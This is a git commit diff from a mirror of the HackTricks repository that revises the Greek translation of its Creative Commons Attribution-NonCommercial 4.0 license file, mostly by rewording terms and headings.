mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md
This commit is contained in:
parent
5f92cece74
commit
91987d3a28
@ -1,15 +1,15 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Πνευματικά δικαιώματα © Carlos Polop 2021. Εκτός αν ορίζεται διαφορετικά (οι εξωτερικές πληροφορίες που αντιγράφηκαν στο βιβλίο ανήκουν στους αρχικούς συγγραφείς), το κείμενο στο <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> από τον Carlos Polop είναι αδειοδοτημένο υπό την <a href="https://creativecommons.org/licenses/by-nc/4.0/">Δημιουργική Κοινότητα Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Πνευματικά δικαιώματα © Carlos Polop 2021. Εκτός αν ορίζεται διαφορετικά (οι εξωτερικές πληροφορίες που αντιγράφηκαν στο βιβλίο ανήκουν στους αρχικούς συγγραφείς), το κείμενο στο <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> από τον Carlos Polop είναι αδειοδοτημένο υπό την <a href="https://creativecommons.org/licenses/by-nc/4.0/">Δημιουργική Κοινότητα Αναφορά-Μη Εμπορική 4.0 Διεθνής (CC BY-NC 4.0)</a>.
|
||||
|
||||
Άδεια: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
|
||||
Αναγνώσιμη Άδεια: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
Άδεια: Αναφορά-Μη Εμπορική 4.0 Διεθνής (CC BY-NC 4.0)<br>
|
||||
Ανθρώπινα Αναγνώσιμη Άδεια: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
Πλήρεις Νομικοί Όροι: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
Μορφοποίηση: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
|
||||
# creative commons
|
||||
# δημιουργική κοινότητα
|
||||
|
||||
# Attribution-NonCommercial 4.0 International
|
||||
# Αναφορά-Μη Εμπορική 4.0 Διεθνής
|
||||
|
||||
Η Creative Commons Corporation (“Creative Commons”) δεν είναι δικηγορική εταιρεία και δεν παρέχει νομικές υπηρεσίες ή νομικές συμβουλές. Η διανομή των δημόσιων αδειών Creative Commons δεν δημιουργεί σχέση δικηγόρου-πελάτη ή άλλη σχέση. Η Creative Commons παρέχει τις άδειές της και τις σχετικές πληροφορίες σε βάση “ως έχει”. Η Creative Commons δεν παρέχει καμία εγγύηση σχετικά με τις άδειές της, οποιοδήποτε υλικό αδειοδοτημένο υπό τους όρους και τις προϋποθέσεις τους, ή οποιαδήποτε σχετική πληροφορία. Η Creative Commons αποποιείται κάθε ευθύνη για ζημίες που προκύπτουν από τη χρήση τους στο μέγιστο δυνατό βαθμό.
|
||||
|
||||
@ -17,13 +17,13 @@
|
||||
|
||||
Οι δημόσιες άδειες Creative Commons παρέχουν ένα τυπικό σύνολο όρων και προϋποθέσεων που οι δημιουργοί και άλλοι κάτοχοι δικαιωμάτων μπορούν να χρησιμοποιήσουν για να μοιραστούν πρωτότυπα έργα συγγραφής και άλλο υλικό που υπόκειται σε πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που καθορίζονται στην παρακάτω δημόσια άδεια. Οι παρακάτω παρατηρήσεις είναι μόνο για ενημερωτικούς σκοπούς, δεν είναι εξαντλητικές και δεν αποτελούν μέρος των αδειών μας.
|
||||
|
||||
- **Σκέψεις για τους αδειοδότες:** Οι δημόσιες άδειές μας προορίζονται για χρήση από εκείνους που είναι εξουσιοδοτημένοι να δίνουν στο κοινό άδεια να χρησιμοποιεί υλικό με τρόπους που περιορίζονται από πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα. Οι άδειές μας είναι αμετάκλητες. Οι αδειοδότες θα πρέπει να διαβάσουν και να κατανοήσουν τους όρους και τις προϋποθέσεις της άδειας που επιλέγουν πριν την εφαρμόσουν. Οι αδειοδότες θα πρέπει επίσης να εξασφαλίσουν όλα τα απαραίτητα δικαιώματα πριν εφαρμόσουν τις άδειές μας ώστε το κοινό να μπορεί να επαναχρησιμοποιήσει το υλικό όπως αναμένεται. Οι αδειοδότες θα πρέπει να επισημαίνουν σαφώς οποιοδήποτε υλικό δεν υπόκειται στην άδεια. Αυτό περιλαμβάνει άλλο υλικό που έχει άδεια CC ή υλικό που χρησιμοποιείται υπό εξαίρεση ή περιορισμό στα πνευματικά δικαιώματα. [Περισσότερες σκέψεις για τους αδειοδότες](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
- **Παρατηρήσεις για τους αδειοδότες:** Οι δημόσιες άδειές μας προορίζονται για χρήση από εκείνους που είναι εξουσιοδοτημένοι να δίνουν στο κοινό άδεια να χρησιμοποιεί υλικό με τρόπους που περιορίζονται από πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα. Οι άδειές μας είναι αμετάκλητες. Οι αδειοδότες θα πρέπει να διαβάσουν και να κατανοήσουν τους όρους και τις προϋποθέσεις της άδειας που επιλέγουν πριν την εφαρμόσουν. Οι αδειοδότες θα πρέπει επίσης να εξασφαλίσουν όλα τα απαραίτητα δικαιώματα πριν εφαρμόσουν τις άδειές μας ώστε το κοινό να μπορεί να επαναχρησιμοποιήσει το υλικό όπως αναμένεται. Οι αδειοδότες θα πρέπει να επισημαίνουν σαφώς οποιοδήποτε υλικό δεν υπόκειται στην άδεια. Αυτό περιλαμβάνει άλλο υλικό που έχει άδεια CC ή υλικό που χρησιμοποιείται υπό εξαίρεση ή περιορισμό στα πνευματικά δικαιώματα. [Περισσότερες παρατηρήσεις για τους αδειοδότες](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
|
||||
- **Σκέψεις για το κοινό:** Χρησιμοποιώντας μία από τις δημόσιες άδειές μας, ένας αδειοδότης παραχωρεί στο κοινό άδεια να χρησιμοποιεί το αδειοδοτημένο υλικό υπό καθορισμένους όρους και προϋποθέσεις. Εάν η άδεια του αδειοδότη δεν είναι απαραίτητη για οποιονδήποτε λόγο – για παράδειγμα, λόγω οποιασδήποτε εφαρμοστέας εξαίρεσης ή περιορισμού στα πνευματικά δικαιώματα – τότε αυτή η χρήση δεν ρυθμίζεται από την άδεια. Οι άδειές μας παρέχουν μόνο άδειες υπό πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που έχει εξουσία να παραχωρήσει ο αδειοδότης. Η χρήση του αδειοδοτημένου υλικού μπορεί να περιορίζεται για άλλους λόγους, συμπεριλαμβανομένου του ότι άλλοι έχουν πνευματικά δικαιώματα ή άλλα δικαιώματα στο υλικό. Ένας αδειοδότης μπορεί να κάνει ειδικά αιτήματα, όπως να ζητήσει να επισημανθούν ή να περιγραφούν όλες οι αλλαγές. Αν και δεν απαιτείται από τις άδειές μας, σας ενθαρρύνουμε να σεβαστείτε αυτά τα αιτήματα όπου είναι λογικό. [Περισσότερες σκέψεις για το κοινό](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
- **Παρατηρήσεις για το κοινό:** Χρησιμοποιώντας μία από τις δημόσιες άδειές μας, ένας αδειοδότης παραχωρεί στο κοινό άδεια να χρησιμοποιεί το αδειοδοτημένο υλικό υπό καθορισμένους όρους και προϋποθέσεις. Εάν η άδεια του αδειοδότη δεν είναι απαραίτητη για οποιονδήποτε λόγο – για παράδειγμα, λόγω οποιασδήποτε εφαρμοστέας εξαίρεσης ή περιορισμού στα πνευματικά δικαιώματα – τότε αυτή η χρήση δεν ρυθμίζεται από την άδεια. Οι άδειές μας παρέχουν μόνο άδειες υπό πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που έχει εξουσία να παραχωρήσει ο αδειοδότης. Η χρήση του αδειοδοτημένου υλικού μπορεί να περιορίζεται για άλλους λόγους, συμπεριλαμβανομένου του ότι άλλοι έχουν πνευματικά δικαιώματα ή άλλα δικαιώματα στο υλικό. Ένας αδειοδότης μπορεί να κάνει ειδικά αιτήματα, όπως να ζητήσει να επισημανθούν ή να περιγραφούν όλες οι αλλαγές. Αν και δεν απαιτείται από τις άδειές μας, σας ενθαρρύνουμε να σεβαστείτε αυτά τα αιτήματα όπου είναι λογικό. [Περισσότερες παρατηρήσεις για το κοινό](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
|
||||
# Δημόσια Άδεια Creative Commons Attribution-NonCommercial 4.0 International
|
||||
# Δημόσια Άδεια Creative Commons Αναφορά-Μη Εμπορική 4.0 Διεθνής
|
||||
|
||||
Ασκώντας τα Δικαιώματα που Αδειοδοτούνται (ορισμένα παρακάτω), αποδέχεστε και συμφωνείτε να δεσμεύεστε από τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας Creative Commons Attribution-NonCommercial 4.0 International ("Δημόσια Άδεια"). Στο βαθμό που αυτή η Δημόσια Άδεια μπορεί να ερμηνευθεί ως σύμβαση, σας παραχωρούνται τα Δικαιώματα που Αδειοδοτούνται σε αντάλλαγμα της αποδοχής σας αυτών των όρων και προϋποθέσεων, και ο Αδειοδότης σας παραχωρεί τέτοια δικαιώματα σε αντάλλαγμα των οφελών που λαμβάνει από την παροχή του Αδειοδοτημένου Υλικού υπό αυτούς τους όρους και προϋποθέσεις.
|
||||
Ασκώντας τα Δικαιώματα που Αδειοδοτούνται (ορισμένα παρακάτω), αποδέχεστε και συμφωνείτε να δεσμεύεστε από τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας Creative Commons Αναφορά-Μη Εμπορική 4.0 Διεθνής ("Δημόσια Άδεια"). Στο βαθμό που αυτή η Δημόσια Άδεια μπορεί να ερμηνευθεί ως σύμβαση, σας παραχωρούνται τα Δικαιώματα που Αδειοδοτούνται σε αντάλλαγμα της αποδοχής σας αυτών των όρων και προϋποθέσεων, και ο Αδειοδότης σας παραχωρεί τέτοια δικαιώματα σε αντάλλαγμα των ωφελειών που λαμβάνει από την παροχή του Αδειοδοτημένου Υλικού υπό αυτούς τους όρους και προϋποθέσεις.
|
||||
|
||||
## Τμήμα 1 – Ορισμοί.
|
||||
|
||||
@ -31,7 +31,7 @@ a. **Προσαρμοσμένο Υλικό** σημαίνει υλικό που
|
||||
|
||||
b. **Άδεια Προσαρμοστή** σημαίνει την άδεια που εφαρμόζετε στα Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα στις συνεισφορές σας στο Προσαρμοσμένο Υλικό σύμφωνα με τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας.
|
||||
|
||||
c. **Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα** σημαίνει πνευματικά δικαιώματα και/ή παρόμοια δικαιώματα που σχετίζονται στενά με τα πνευματικά δικαιώματα, συμπεριλαμβανομένων, χωρίς περιορισμό, εκτέλεσης, μετάδοσης, ηχογράφησης και Δικαιωμάτων Βάσης Δεδομένων Sui Generis, χωρίς να λαμβάνεται υπόψη πώς τα δικαιώματα ονομάζονται ή κατηγοριοποιούνται. Για τους σκοπούς αυτής της Δημόσιας Άδειας, τα δικαιώματα που καθορίζονται στο Τμήμα 2(b)(1)-(2) δεν είναι Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα.
|
||||
c. **Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα** σημαίνει πνευματικά δικαιώματα και/ή παρόμοια δικαιώματα που σχετίζονται στενά με πνευματικά δικαιώματα, συμπεριλαμβανομένων, χωρίς περιορισμό, εκτέλεσης, μετάδοσης, ηχογράφησης και Δικαιωμάτων Βάσης Δεδομένων Sui Generis, χωρίς να λαμβάνεται υπόψη πώς τα δικαιώματα ονομάζονται ή κατηγοριοποιούνται. Για τους σκοπούς αυτής της Δημόσιας Άδειας, τα δικαιώματα που καθορίζονται στο Τμήμα 2(b)(1)-(2) δεν είναι Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα.
|
||||
|
||||
d. **Αποτελεσματικά Τεχνολογικά Μέτρα** σημαίνει τα μέτρα που, απουσία κατάλληλης εξουσίας, δεν μπορούν να παρακαμφθούν σύμφωνα με νόμους που εκπληρώνουν υποχρεώσεις σύμφωνα με το Άρθρο 11 της Συνθήκης Πνευματικών Δικαιωμάτων WIPO που υιοθετήθηκε στις 20 Δεκεμβρίου 1996, και/ή παρόμοιες διεθνείς συμφωνίες.
|
||||
|
||||
@ -41,7 +41,7 @@ f. **Αδειοδοτημένο Υλικό** σημαίνει το καλλιτ
|
||||
|
||||
g. **Δικαιώματα που Αδειοδοτούνται** σημαίνει τα δικαιώματα που σας παραχωρούνται υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, τα οποία περιορίζονται σε όλα τα Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα που ισχύουν για τη χρήση σας του Αδειοδοτημένου Υλικού και που ο Αδειοδότης έχει εξουσία να αδειοδοτήσει.
|
||||
|
||||
h. **Αδειοδότης** σημαίνει το άτομο ή τα άτομα ή ο φορέας που παραχωρεί δικαιώματα υπό αυτή τη Δημόσια Άδεια.
|
||||
h. **Αδειοδότης** σημαίνει το άτομο ή τα άτομα ή οντότητες που παραχωρούν δικαιώματα υπό αυτή τη Δημόσια Άδεια.
|
||||
|
||||
i. **Μη Εμπορικό** σημαίνει ότι δεν προορίζεται κυρίως για ή δεν κατευθύνεται προς εμπορικό όφελος ή χρηματική αποζημίωση. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η ανταλλαγή του Αδειοδοτημένου Υλικού για άλλο υλικό που υπόκειται σε Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα μέσω ψηφιακής ανταλλαγής αρχείων ή παρόμοιων μέσων είναι Μη Εμπορική εφόσον δεν υπάρχει πληρωμή χρηματικής αποζημίωσης σε σχέση με την ανταλλαγή.
|
||||
|
||||
@ -49,13 +49,13 @@ j. **Μοιράζομαι** σημαίνει να παρέχω υλικό στο
|
||||
|
||||
k. **Δικαιώματα Βάσης Δεδομένων Sui Generis** σημαίνει δικαιώματα εκτός από πνευματικά δικαιώματα που προκύπτουν από την Οδηγία 96/9/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 11ης Μαρτίου 1996 σχετικά με τη νομική προστασία των βάσεων δεδομένων, όπως έχει τροποποιηθεί και/ή διαδεχθεί, καθώς και άλλα ουσιαστικά ισοδύναμα δικαιώματα οπουδήποτε στον κόσμο.
|
||||
|
||||
l. **Εσείς** σημαίνει το άτομο ή ο φορέας που ασκεί τα Δικαιώματα που Αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια. Το "σας" έχει αντίστοιχη σημασία.
|
||||
l. **Εσείς** σημαίνει το άτομο ή την οντότητα που ασκεί τα Δικαιώματα που Αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια. Το "σας" έχει αντίστοιχη σημασία.
|
||||
|
||||
## Τμήμα 2 – Πεδίο εφαρμογής.
|
||||
|
||||
a. **_Παραχώρηση άδειας._**
|
||||
|
||||
1. Υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, ο Αδειοδότης σας παραχωρεί παγκόσμια, χωρίς δικαιώματα, μη υποαδειοδοτούμενη, μη αποκλειστική, αμετάκλητη άδεια να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται στο Αδειοδοτημένο Υλικό για:
|
||||
1. Υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, ο Αδειοδότης σας παραχωρεί παγκόσμια, χωρίς δικαιώματα, μη μεταβιβάσιμη, μη αποκλειστική, αμετάκλητη άδεια να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται στο Αδειοδοτημένο Υλικό για:
|
||||
|
||||
A. αναπαραγωγή και Μοιρασιά του Αδειοδοτημένου Υλικού, εν όλω ή εν μέρει, μόνο για Μη Εμπορικούς σκοπούς; και
|
||||
|
||||
@ -64,18 +64,18 @@ B. παραγωγή, αναπαραγωγή και Μοιρασιά Προσαρ
|
||||
2. **Εξαιρέσεις και Περιορισμοί.** Για την αποφυγή αμφιβολιών, όπου ισχύουν Εξαιρέσεις και Περιορισμοί για τη χρήση σας, αυτή η Δημόσια Άδεια δεν ισχύει, και δεν χρειάζεται να συμμορφωθείτε με τους όρους και τις προϋποθέσεις της.
|
||||
3. **Διάρκεια.** Η διάρκεια αυτής της Δημόσιας Άδειας καθορίζεται στο Τμήμα 6(a).
|
||||
|
||||
4. **Μέσα και μορφές; επιτρέπονται τεχνικές τροποποιήσεις.** Ο Αδειοδότης σας εξουσιοδοτεί να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται σε όλα τα μέσα και τις μορφές, είτε είναι γνωστά τώρα είτε δημιουργηθούν αργότερα, και να κάνετε τις τεχνικές τροποποιήσεις που είναι απαραίτητες για να το κάνετε αυτό. Ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα δικαίωμα ή εξουσία να σας απαγορεύσει να κάνετε τεχνικές τροποποιήσεις που είναι απαραίτητες για να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, συμπεριλαμβανομένων των τεχνικών τροποποιήσεων που είναι απαραίτητες για να παρακαμφθούν τα Αποτελεσματικά Τεχνολογικά Μέτρα. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η απλή πραγματοποίηση τροποποιήσεων που επιτρέπονται από αυτό το Τμήμα 2(a)(4) δεν παράγει ποτέ Προσαρμοσμένο Υλικό.
|
||||
4. **Μέσα και μορφές; επιτρέπονται τεχνικές τροποποιήσεις.** Ο Αδειοδότης σας εξουσιοδοτεί να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται σε όλα τα μέσα και τις μορφές, είτε είναι γνωστά τώρα είτε δημιουργηθούν στο μέλλον, και να κάνετε τις τεχνικές τροποποιήσεις που είναι απαραίτητες για να το κάνετε αυτό. Ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα δικαίωμα ή εξουσία να σας απαγορεύσει να κάνετε τεχνικές τροποποιήσεις που είναι απαραίτητες για να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, συμπεριλαμβανομένων των τεχνικών τροποποιήσεων που είναι απαραίτητες για να παρακαμφθούν τα Αποτελεσματικά Τεχνολογικά Μέτρα. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η απλή πραγματοποίηση τροποποιήσεων που επιτρέπονται από αυτό το Τμήμα 2(a)(4) δεν παράγει ποτέ Προσαρμοσμένο Υλικό.
|
||||
5. **Δεχόμενοι παραλήπτες.**
|
||||
|
||||
A. **Προσφορά από τον Αδειοδότη – Αδειοδοτημένο Υλικό.** Κάθε παραλήπτης του Αδειοδοτημένου Υλικού λαμβάνει αυτόματα μια προσφορά από τον Αδειοδότη να ασκήσει τα Δικαιώματα που Αδειοδοτούνται υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας.
|
||||
|
||||
B. **Καμία περιοριστική διάταξη.** Δεν μπορείτε να προσφέρετε ή να επιβάλετε οποιουσδήποτε πρόσθετους ή διαφορετικούς όρους ή προϋποθέσεις, ή να εφαρμόσετε οποιαδήποτε Αποτελεσματικά Τεχνολογικά Μέτρα στο Αδειοδοτημένο Υλικό εάν αυτό περιορίζει την άσκηση των Δικαιωμάτων που Αδειοδοτούνται από οποιονδήποτε παραλήπτη του Αδειοδοτημένου Υλικού.
|
||||
B. **Καμία περιορισμένη πρόσβαση.** Δεν μπορείτε να προσφέρετε ή να επιβάλετε οποιουσδήποτε πρόσθετους ή διαφορετικούς όρους ή προϋποθέσεις, ή να εφαρμόσετε οποιαδήποτε Αποτελεσματικά Τεχνολογικά Μέτρα στο Αδειοδοτημένο Υλικό εάν αυτό περιορίζει την άσκηση των Δικαιωμάτων που Αδειοδοτούνται από οποιονδήποτε παραλήπτη του Αδειοδοτημένου Υλικού.
|
||||
|
||||
6. **Καμία έγκριση.** Τίποτα σε αυτή τη Δημόσια Άδεια δεν συνιστά ή μπορεί να ερμηνευθεί ως άδεια να ισχυριστείτε ή να υπονοήσετε ότι είστε, ή ότι η χρήση σας του Αδειοδοτημένου Υλικού είναι, συνδεδεμένη με, ή χορηγούμενη, υποστηριζόμενη ή παραχωρημένη επίσημη κατάσταση από, τον Αδειοδότη ή άλλους που έχουν οριστεί να λάβουν αναγνώριση όπως παρέχεται στο Τμήμα 3(a)(1)(A)(i).
|
||||
|
||||
b. **_Άλλα δικαιώματα._**
|
||||
|
||||
1. Ηθικά δικαιώματα, όπως το δικαίωμα της ακεραιότητας, δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια, ούτε είναι δικαιώματα δημοσιότητας, ιδιωτικότητας και/ή άλλα παρόμοια δικαιώματα προσωπικότητας. Ωστόσο, στο βαθμό που είναι δυνατόν, ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα τέτοιο δικαίωμα που κατέχει ο Αδειοδότης στο περιορισμένο βαθμό που είναι απαραίτητο για να σας επιτρέψει να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, αλλά όχι διαφορετικά.
|
||||
1. Ηθικά δικαιώματα, όπως το δικαίωμα της ακεραιότητας, δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια, ούτε είναι δικαιώματα δημοσιότητας, ιδιωτικότητας και/ή άλλα παρόμοια δικαιώματα προσωπικότητας. Ωστόσο, στο βαθμό που είναι δυνατόν, ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα τέτοιο δικαίωμα που κατέχει ο Αδειοδότης στον περιορισμένο βαθμό που είναι απαραίτητο για να σας επιτρέψει να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, αλλά όχι διαφορετικά.
|
||||
|
||||
2. Δικαιώματα πατέντας και εμπορικών σημάτων δεν αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια.
|
||||
|
||||
@ -85,7 +85,7 @@ b. **_Άλλα δικαιώματα._**
|
||||
|
||||
Η άσκηση των Δικαιωμάτων που Αδειοδοτούνται από εσάς υπόκειται ρητά στους παρακάτω όρους.
|
||||
|
||||
a. **_Αναγνώριση._**
|
||||
a. **_Αναφορά._**
|
||||
|
||||
1. Εάν Μοιράζεστε το Αδειοδοτημένο Υλικό (συμπεριλαμβανομένου σε τροποποιημένη μορφή), πρέπει:
|
||||
|
||||
@ -99,13 +99,13 @@ iii. μια ειδοποίηση που αναφέρεται σε αυτή τη
|
||||
|
||||
iv. μια ειδοποίηση που αναφέρεται στην αποποίηση εγγυήσεων;
|
||||
|
||||
v. μια URI ή υπερσύνδεσμο προς το Αδειοδοτημένο Υλικό στο βαθμό που είναι λογικά εφικτό;
|
||||
v. μια URI ή υπερσύνδεσμο στο Αδειοδοτημένο Υλικό στο βαθμό που είναι λογικά εφικτό;
|
||||
|
||||
B. να υποδείξετε εάν τροποποιήσατε το Αδειοδοτημένο Υλικό και να διατηρήσετε μια ένδειξη οποιωνδήποτε προηγούμενων τροποποιήσεων; και
|
||||
|
||||
C. να υποδείξετε ότι το Αδειοδοτημένο Υλικό είναι αδειοδοτημένο υπό αυτή τη Δημόσια Άδεια, και να συμπεριλάβετε το κείμενο της, ή την URI ή υπερσύνδεσμο προς αυτή τη Δημόσια Άδεια.
|
||||
C. να υποδείξετε ότι το Αδειοδοτημένο Υλικό είναι αδειοδοτημένο υπό αυτή τη Δημόσια Άδεια, και να συμπεριλάβετε το κείμενο της, ή την URI ή υπερσύνδεσμο σε αυτή τη Δημόσια Άδεια.
|
||||
|
||||
2. Μπορείτε να ικανοποιήσετε τους όρους στο Τμήμα 3(a)(1) με οποιονδήποτε λογικό τρόπο με βάση το μέσο, τα μέσα και το πλαίσιο στο οποίο Μοιράζεστε το Αδειοδοτημένο Υλικό. Για παράδειγμα, μπορεί να είναι λογικό να ικανοποιήσετε τους όρους παρέχοντας μια URI ή υπερσύνδεσμο προς μια πηγή που περιλαμβάνει τις απαιτούμενες πληροφορίες.
|
||||
2. Μπορείτε να ικανοποιήσετε τους όρους στο Τμήμα 3(a)(1) με οποιονδήποτε λογικό τρόπο με βάση το μέσο, τα μέσα και το πλαίσιο στο οποίο Μοιράζεστε το Αδειοδοτημένο Υλικό. Για παράδειγμα, μπορεί να είναι λογικό να ικανοποιήσετε τους όρους παρέχοντας μια URI ή υπερσύνδεσμο σε μια πηγή που περιλαμβάνει τις απαιτούμενες πληροφορίες.
|
||||
|
||||
3. Εάν ζητηθεί από τον Αδειοδότη, πρέπει να αφαιρέσετε οποιαδήποτε από τις πληροφορίες που απαιτούνται από το Τμήμα 3(a)(1)(A) στο βαθμό που είναι λογικά εφικτό.
|
||||
|
||||
@ -125,7 +125,7 @@ c. πρέπει να συμμορφωθείτε με τους όρους στο
|
||||
|
||||
## Τμήμα 5 – Αποποίηση Εγγυήσεων και Περιορισμός Ευθύνης.
|
||||
|
||||
a. **Εκτός εάν αναληφθεί διαφορετικά από τον Αδειοδότη, στο βαθμό που είναι δυνατόν, ο Αδειοδότης προσφέρει το Αδειοδοτημένο Υλικό όπως είναι και όπως διατίθεται, και δεν παρέχει καμία δήλωση ή εγγύηση οποιουδήποτε είδους σχετικά με το Αδειοδοτημένο Υλικό, είτε ρητή, σιωπηρή, νομική ή άλλη. Αυτό περιλαμβάνει, χωρίς περιορισμό, εγγυήσεις τίτλου, εμπορευσιμότητας, καταλληλότητας για συγκεκριμένο σκοπό, μη παραβίασης, απουσίας κρυφών ή άλλων ελαττωμάτων, ακρίβειας ή παρουσίας ή απουσίας σφαλμάτων, είτε είναι γνωστά είτε ανακαλύψιμα. Όπου οι αποποιήσεις εγγυήσεων δεν επιτρέπονται πλήρως ή εν μέρει, αυτή η αποποίηση μπορεί να μην ισχύει για εσάς.**
|
||||
a. **Εκτός εάν αναληφθεί διαφορετικά από τον Αδειοδότη, στο βαθμό που είναι δυνατόν, ο Αδειοδότης προσφέρει το Αδειοδοτημένο Υλικό όπως είναι και όπως διατίθεται, και δεν κάνει καμία δήλωση ή εγγύηση οποιουδήποτε είδους σχετικά με το Αδειοδοτημένο Υλικό, είτε ρητή, είτε σιωπηρή, είτε νομική, είτε άλλη. Αυτό περιλαμβάνει, χωρίς περιορισμό, εγγυήσεις τίτλου, εμπορευσιμότητας, καταλληλότητας για συγκεκριμένο σκοπό, μη παραβίασης, απουσίας λανθασμένων ή άλλων ελαττωμάτων, ακρίβειας ή παρουσίας ή απουσίας σφαλμάτων, είτε γνωστών είτε ανακαλύψιμων. Όπου οι αποποιήσεις εγγυήσεων δεν επιτρέπονται πλήρως ή εν μέρει, αυτή η αποποίηση μπορεί να μην ισχύει για εσάς.**
|
||||
|
||||
b. **Στο βαθμό που είναι δυνατόν, σε καμία περίπτωση ο Αδειοδότης δεν θα είναι υπεύθυνος προς εσάς με οποιαδήποτε νομική θεωρία (συμπεριλαμβανομένης, χωρίς περιορισμό, της αμέλειας) ή αλλιώς για οποιαδήποτε άμεσες, ειδικές, έμμεσες, παρεπόμενες, αποζημιωτικές, παραδειγματικές ή άλλες ζημίες, κόστη, έξοδα ή ζημίες που προκύπτουν από αυτή τη Δημόσια Άδεια ή τη χρήση του Αδειοδοτημένου Υλικού, ακόμη και αν ο Αδειοδότης έχει ενημερωθεί για την πιθανότητα τέτοιων ζημιών, κόστη, εξόδων ή ζημιών. Όπου ένας περιορισμός ευθύνης δεν επιτρέπεται πλήρως ή εν μέρει, αυτός ο περιορισμός μπορεί να μην ισχύει για εσάς.**
|
||||
|
||||
@ -133,7 +133,7 @@ c. Η αποποίηση εγγυήσεων και ο περιορισμός ε
|
||||
|
||||
## Τμήμα 6 – Διάρκεια και Τερματισμός.
|
||||
|
||||
a. Αυτή η Δημόσια Άδεια ισχύει για τη διάρκεια των Πνευματικών Δικαιωμάτων και Παρόμοιων Δικαιωμάτων που αδειοδοτούνται εδώ. Ωστόσο, εάν δεν συμμορφωθείτε με αυτή τη Δημόσια Άδεια, τότε τα δικαιώματά σας υπό αυτή τη Δημόσια Άδεια τερματίζονται αυτόματα.
|
||||
a. Αυτή η Δημόσια Άδεια ισχύει για τη διάρκεια των Πνευματικών Δικαιωμάτων και Παρόμοιων Δικαιωμάτων που αδειοδοτούνται εδώ. Ωστόσο, εάν αποτύχετε να συμμορφωθείτε με αυτή τη Δημόσια Άδεια, τότε τα δικαιώματά σας υπό αυτή τη Δημόσια Άδεια τερματίζονται αυτόματα.
|
||||
|
||||
b. Όπου το δικαίωμά σας να χρησιμοποιήσετε το Αδειοδοτημένο Υλικό έχει τερματιστεί σύμφωνα με το Τμήμα 6(a), επαναφέρεται:
|
||||
|
||||
@ -157,7 +157,7 @@ b. Οποιεσδήποτε ρυθμίσεις, κατανοήσεις ή συμ
|
||||
|
||||
a. Για την αποφυγή αμφιβολιών, αυτή η Δημόσια Άδεια δεν μειώνει, περιορίζει, περιορίζει ή επιβάλλει όρους σε οποιαδήποτε χρήση του Αδειοδοτημένου Υλικού που θα μπορούσε να γίνει νόμιμα χωρίς άδεια υπό αυτή τη Δημόσια Άδεια.
|
||||
|
||||
